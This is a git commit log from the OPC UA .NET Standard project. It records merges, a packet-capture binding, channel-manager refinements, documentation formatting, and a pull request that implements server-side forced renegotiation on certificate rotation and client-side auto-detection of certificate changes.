  - Tests/Opc.Ua.Stress.Tests/Channels/Gaps/ folder deleted.
  - [Category("Gaps")] removed from the codebase.
  - Tests/Opc.Ua.Stress.Tests/README.md "category overview" loses the
    [Explicit] / L5 / Channels/Gaps/ row and the "Add known production
    gaps to Channels/Gaps/" guidance bullet.
  - Docs/Sessions.md "Participant model" subsection documents the new
    RecreateAsync callback and ParticipantTimeout policy property.
  - Pre-existing build-blocker in Applications/Quickstarts.Servers/
    ReferenceServer/ReferenceServerConfigurationNodeManager.cs
    (ObjectIds.SecurityGroups / KeyPushTargets are not on the curated
    Stack/Opc.Ua.Types/Internal/ObjectIds.cs surface) is replaced with
    inline NodeId literals (i=15443 / i=25440) per the docstring above
    the array. This was a separate fix required for the merged tree
    to build end-to-end.

Verified locally on net10.0:
  - Full UA.slnx Release build (CodeQL parity): 0 errors.
  - Tests/Opc.Ua.Stress.Tests Contract filter (faulted recovery,
    recreate dispatch, hung participant, participant result
    aggregation): 9/9 passed.
  - Tests/Opc.Ua.Client.Tests ClientChannelManager filter: 29/29 passed.
  - Tests/Opc.Ua.Sessions.Tests ChannelManager filter: 9/9 passed
    (was 7/7+1 skipped before; the G3 RequiresSessionRecreate
    integration test that was carry-forward [Ignore] is now
    implemented and counted as a pass).
  - No remaining Gaps namespace / Category("Gaps") / GapTestBase
    references anywhere in the tree.
2026-06-08 18:12:18 +02:00
Marc Schier b30853856d PR feedback: expand single-line summary docs to multi-line form
Per reviewer guidance, all /// <summary>...</summary> comments must use
newlines after <summary> and before </summary>. Expanded 36 single-line
property summaries across 6 files in Opc.Ua.Bindings.Pcap:

- Capture/CaptureSession.cs (9)
- Formats/ITraceFormatter.cs (4)
- Frame/OpcUaFrameParser.cs (7)
- Frame/PcapFileReader.cs (4)
- Frame/PcapFileWriter.cs (4)
- Frame/TcpStreamReassembler.cs (8)
2026-06-08 14:46:00 +02:00
Marc Schier 311cefa5ff Merge branch 'channelrefinements2' of https://github.com/OPCFoundation/UA-.NETStandard into channelrefinements2 2026-06-08 13:54:45 +02:00
Marc Schier bc840201ab Apply dotnet format (whitespace, style, analyzers) + fix CA2000 in tests
- Three-phase dotnet format sweep (whitespace -> style -> analyzers) scoped to
  files changed since merge-base with channelrefinements (5 projects)
- Mostly mechanical: operator wrapping (&& -> end-of-line), fluent
  StringBuilder chains, using ordering, missing exception XML docs
- Fix CA2000 in CapturingMessageSocketTests (using var for inner sockets +
  TestSinks so they're disposed even if the wrapping CapturingMessageSocket
  constructor throws)
- Document the auto-added PcapDiagnosticsException(string?, int) constructor
- Keep DecodeServiceCallsAsync's local var (return await + earlier await
  foreach triggers RCS1174 if inlined)

Verified:
- All 5 affected projects build with 0 errors
- 3-phase dotnet format --verify-no-changes is clean
- 53/53 Opc.Ua.Bindings.Pcap.Tests pass on net10.0
2026-06-08 13:53:17 +02:00
Marc Schier f6064e556e Merge branch 'channelrefinements' into channelrefinements2 2026-06-08 12:20:32 +02:00
Marc Schier c23f477bc7 Merge branch 'master' into channelrefinements 2026-06-08 12:20:15 +02:00
Marc Schier 15eb55c46e Cert rotation: force renegotiate (#3562) + auto-detect on client (#3160) (#3849)
# Description

Implements the OPC UA Part 12 §7.10.9 contract on the server (fixes
#3562) AND the client-side counterpart for immediate detection of
own-cert / trust-list / CRL changes (fixes #3160).

## Server side (#3562)

Per Part 12 §7.10.9 the server _shall_ "force existing SecureChannels
affected by the changes to renegotiate" once the `ApplyChanges` method
response has been delivered. Previously the server reloaded the
certificate but did not cut affected channels; clients kept using the
old cert until natural rekey, and the code carried an explicit `TODO`
next to a 1-second `Task.Delay` hack in
`ConfigurationNodeManager.ApplyChanges`.

Key server changes:

* **New optional capability interface**
`Opc.Ua.ITransportListenerCertificateRotation` (single method
`CloseChannelsForCertificate(Certificate)`) — implemented by
`TcpTransportListener` and `HttpsTransportListener`. Custom transport
listeners can opt in without breaking `ITransportListener`.
* **TCP path**: new internal
`TcpListenerChannel.TryCloseForCertificateRotation(oldThumbprint, out
globalChannelId)` matches the channel's negotiated `ServerCertificate`
by thumbprint, sends `BadCertificateInvalid`, and calls
`ChannelFaulted()` to actually close the socket.
`TcpTransportListener.CloseChannelsForCertificate` snapshots
`m_channels` outside `m_lock` to avoid lock inversion, invokes the
per-channel helper, returns cut global channel ids. **The listener
socket stays bound** — clients can reconnect immediately.
* **HTTPS path**: HTTPS owns the cert at the Kestrel/HTTP.sys listener
level, so a `Stop()`+`Start()` cycle is the only practical
force-renegotiate. Moved out of `CertificateUpdate` (which now does only
the soft fan-out) into `CloseChannelsForCertificate` so the staging
event no longer disrupts in-flight requests prematurely.
* **`ConfigurationNodeManager.ApplyChanges`** rewritten:
- Captures the per-group pre-transaction certificate (preserved across
multi-stage transactions per Part 12 §7.10.2) and the staged
`UpdateCertificateData`.
- Schedules a deferred apply: waits for the response to flush, re-syncs
the registry via `CertificateManager.UpdateAsync`, then calls
`CloseChannelsForCertificate` on every listener that implements the
capability.
- **Configurable grace period**: new
`IConfigurationNodeManager.ApplyChangesGracePeriod` (default 250 ms,
negative clamped to zero). Hosts running over higher-latency
administrative links can raise it.
- Exposes
`IConfigurationNodeManager.DrainPendingApplyChangesAsync(CancellationToken)`
for tests/hosts to deterministically await rotation.
  - Removes the explicit 1-second `Task.Delay` TODO hack.
* **`Opc.Ua.Server.ITransportListenerRegistryProvider`** — narrow opt-in
interface on `ServerInternalData` exposing the live transport listener
list. Lets `ConfigurationNodeManager` drive the fan-out without
expanding `IServerInternal` (binary compat for mocked test fixtures).
* **Sessions are NOT closed**. Per spec, the cut is on the SecureChannel
only; existing `Session.IsSecureChannelValid` + `Session.Activate`
rebind handles transfer over the new channel.

## Client side (#3160)

The client SDK previously had no automatic detection of changes to its
own certificate, trust list, or CRL — users had to call
`Session.ReloadInstanceCertificateAsync` manually and trigger a
reconnect. The spec-mandated `ApplicationCertificateUpdated`,
`TrustListUpdated`, and `CrlUpdated` enum values existed but only the
first was being emitted by `CertificateManager`.

Key client/shared changes:

* **`CertificateManager` now emits `TrustListUpdated` and `CrlUpdated`**
from `WriteTrustListAsync` (per mask) and from
`TrustListTransaction.CommitAsync` (after the atomic apply). The new
internal `NotifyTrustListChanged` also invalidates cached
peer/user/HTTPS validation cores so subsequent validations pick up the
fresh trust state.
* **`ManagedSession.AutoReconnectOnCertificateChange`** opt-in property
(default `false` for backwards compat). When `true`, `ManagedSession`
subscribes to `CertificateManager.CertificateChanges` on construction
and, on the three relevant kinds:
- Calls `Session.ReloadInstanceCertificateAsync` on
`ApplicationCertificateUpdated` so the next ActivateSession is signed
with the rotated client cert.
- Triggers a reconnect via the state machine so the new state is
honoured within milliseconds rather than at the next
`SecurityTokenLifetime` rekey.
* **`ManagedSession.ApplicationCertificateChanged`** event surfaces
every observed change regardless of the auto-reconnect policy for
diagnostics or custom rotation logic.
* Subscription is disposed by the existing `Dispose` / `DisposeAsync`
paths.

```csharp
using var managed = await ManagedSession.CreateAsync(
    configuration, endpoint, sessionFactory);
managed.AutoReconnectOnCertificateChange = true;

managed.ApplicationCertificateChanged += (sender, e) =>
{
    Console.WriteLine($"observed {e.Kind} on {e.TrustList}");
};
```

## Tests

| Suite | net10.0 | net48 |
|---|---|---|
| `TransportListenerCertificateRotationTests` (new, 6 tests) | ✅ | ✅ |
| `CertificateManagerTests` (4 new event tests) | ✅ 22/22 | ✅ 4/4 |
| `PushCertManagement` | 50/53 ✅ | 50/53 ✅ |
| `GDS PushTest` (focused subset) | 15/15 ✅ | 16/16 ✅ |
| `Opc.Ua.Server.Tests` (focused subset) | 38/38 ✅ | 38/38 ✅ |
| `GDS PushTest` (full) | 313/338 ✅ | — |

Skips are pre-existing (cert-type mismatches, optional methods) — no
regressions.

New integration test
`PushTest.ApplyChangesForcesChannelRenegotiateAsync` positively asserts
the stale channel fails with a recognized channel-invalidation status
after `ApplyChanges`, and that a fresh reconnect succeeds with the
rotated cert.

## Documentation

- `Docs/CertificateManager.md` — new sections:
- "Server-Side Certificate Rotation via Push (OPC UA Part 12 §7.10.9)" —
`ITransportListenerCertificateRotation` contract + custom listener
example.
- "Client-Side Auto-Detection of Certificate Changes (issue #3160)" —
`AutoReconnectOnCertificateChange` + `ApplicationCertificateChanged`
event + the three covered scenarios.

## Related Issues

- Fixes #3562
- Fixes #3160

## Checklist

- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage.
- [x] I have added all necessary documentation.
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings.
- [x] I ran focused tests locally using the **UA.slnx** projects against
.net **framework 4.8** and .net **10**, and all passed. _(Full UA.slnx
test run delegated to CI.)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
2026-06-08 12:19:49 +02:00
Marc Schier 961329e4d9 Merge branch 'channelrefinements' of https://github.com/OPCFoundation/UA-.NETStandard into channelrefinements 2026-06-08 12:17:20 +02:00
Marc Schier b1ba2cc371 Merge branch 'master' into channelrefinements 2026-06-08 12:13:30 +02:00
Marc Schier a3a4dc2703 Merge origin/capture into channelrefinements2 (round 2)
Brings in three new commits on capture:
- 117f2212d Simplify token-activated subscription (channel is always ISecureChannel) (CA1508)
- f07501e0e Merge origin/master into capture
- daf3c8a8b Address PR review feedback (3 unresolved threads)

Auto-merged cleanly (no conflicts) — my "Integration with the central
channel manager" section in Docs/PacketCapture.md was preserved
unchanged alongside the capture-branch documentation tweaks (McpServer.md,
MigrationGuide.md, README.md, deletion of PacketCaptureFileFormats.md).

Folded in one nullability fix to make McpServer build:

- Applications/McpServer/Tools/PacketDecodeTools.cs:
  CreateActiveChannelInfo assigned EndpointDescription.EndpointUrl and
  .SecurityPolicyUri (both nullable strings) to ActiveChannelInfo's
  non-nullable string init properties, triggering CS8601 under the
  capture branch's strict nullability settings. Coalesce to string.Empty
  to match the default-init pattern used by ActiveChannelInfo itself.

Verified locally on net10.0:
- Stack/Opc.Ua.Bindings.Pcap build: 0 warnings, 0 errors.
- Applications/McpServer build: 0 warnings, 0 errors.
- Tests/Opc.Ua.Bindings.Pcap.Tests: 53/53 passed.
- Tests/Opc.Ua.Client.Tests ClientChannelManager filter: 29/29 passed.
2026-06-08 11:26:32 +02:00
Marc Schier 5010d421c6 docs: cross-reference Pcap binding integration with IClientChannelManager
Add a dedicated 'Integration with the central channel manager' section
to Docs/PacketCapture.md spelling out the three properties of the
channel manager (sharing, transparent reconnect, faulted-entry swap)
that flow through to capture for free, plus the standard DI
registration order. Update the in-process-client quick-start to show
the channel manager registered alongside the Pcap binding.

Add a back-link from Docs/Sessions.md 'See also' so readers of the
channel-manager doc discover the capture composition.
2026-06-08 10:03:32 +02:00
Marc Schier 87dcfc10cf Merge origin/capture into channelrefinements2
Brings the packet-capture / dissection / replay engine
(Opc.Ua.Bindings.Pcap) onto the channel-refinements branch so it
composes cleanly with the central IClientChannelManager work landed in
PR #3852 (channelrefinements).

Conflicts resolved:
- Applications/McpServer/Program.cs: union of both ConfigureServices
  changes — registers AddOpcUa().AddClient() (channel manager) AND
  AddOpcUaBindingsPcap() / Formatters / Replay (capture). Channel
  manager picks up the capture binding automatically via the shared
  TransportBindings.Channels registry.
- Stack/Opc.Ua.Core/Stack/Tcp/TcpListenerChannel.cs: keep both
  m_sessionCount (channelrefinements2) and m_tokenActivated event
  (origin/capture). Server-side capture relies on
  TcpListenerChannel.OnTokenActivated to snapshot per-channel
  ChannelToken keys for offline decoding.
- UA.slnx: keep both Opc.Ua.Di.Tests and Opc.Ua.Bindings.Pcap.Tests
  project entries.

Pre-existing fix folded in (build-blocker introduced earlier on
channelrefinements2, not by the capture merge):
- Applications/Quickstarts.Servers/ReferenceServer/ReferenceServerConfigurationNodeManager.cs
  s_optionalPubSubFolders previously referenced ObjectIds.SecurityGroups
  and ObjectIds.KeyPushTargets, neither of which exists on the curated
  Stack/Opc.Ua.Types/Internal/ObjectIds.cs surface. Inlined the
  NodeId literals (i=15443 / i=25440) per the docstring above the
  array so the merged tree builds end-to-end across all TFMs and
  every transitive test project (Tests/Opc.Ua.Client.Tests,
  Tests/Opc.Ua.Sessions.Tests, etc.) compiles.

Architectural fit ("take advantage of all the changes you made here"):

1. Pcap integrates with the central channel manager via the global
   TransportBindings.Channels registry. ClientChannelManager.ctor
   accepts an injected ITransportChannelBindings? that defaults to the
   global registry, so the Pcap binding installed by
   AddOpcUaBindingsPcap is automatically picked up by every channel
   created through the manager. No code wiring needed — the
   composition is pure layering.

2. Channel sharing transparently includes capture. When multiple
   participants share a single IManagedTransportChannel (the F1
   refcount + key-equivalence work), the underlying CapturingMessageSocket
   captures all participant traffic on the same wire, automatically.

3. Transparent reconnect preserves the capture session. The F8
   diagnostics events on ClientChannelManager (state-change /
   close notifications) and the Phase E SwapFaultedEntryAsync swap
   path produce fresh ChannelEntry instances under the same
   ManagedChannelKey — IChannelCaptureRegistry is keyed by channel
   identity, so a swap rolls the active observer into the new entry
   and the capture session continues recording across the
   reconnect / faulted-swap cycle.

4. MCP server composes both: services.AddOpcUa().AddClient() (channel
   manager + DI), services.AddSingleton<OpcUaSessionManager>(),
   services.AddOpcUaBindingsPcap() (capture binding). OpcUaSessionManager
   resolves IClientChannelManager from IServiceProvider; the Pcap tools
   (Tools/PacketCapture/Decode/ReplayTools.cs) resolve
   CaptureSessionManager and IChannelCaptureRegistry from the same
   provider.

Verified locally on net10.0:
- Stack/Opc.Ua.Bindings.Pcap build: 0 warnings, 0 errors.
- Libraries/Opc.Ua.Client build (channel manager): 0 warnings, 0 errors.
- Tests/Opc.Ua.Bindings.Pcap.Tests: 53/53 passed.
- Tests/Opc.Ua.Client.Tests ClientChannelManager filter: 29/29 passed.
- Tests/Opc.Ua.Sessions.Tests ChannelManager filter: 7/7 passed,
  1 skipped (RequiresSessionRecreate carry-forward).
- Applications/McpServer build: 0 warnings, 0 errors.
2026-06-08 10:01:45 +02:00
Marc Schier 117f2212d7 Simplify token-activated subscription (channel is always ISecureChannel) (CA1508) 2026-06-08 09:46:36 +02:00
Marc Schier f07501e0ec Merge origin/master into capture 2026-06-08 08:22:37 +02:00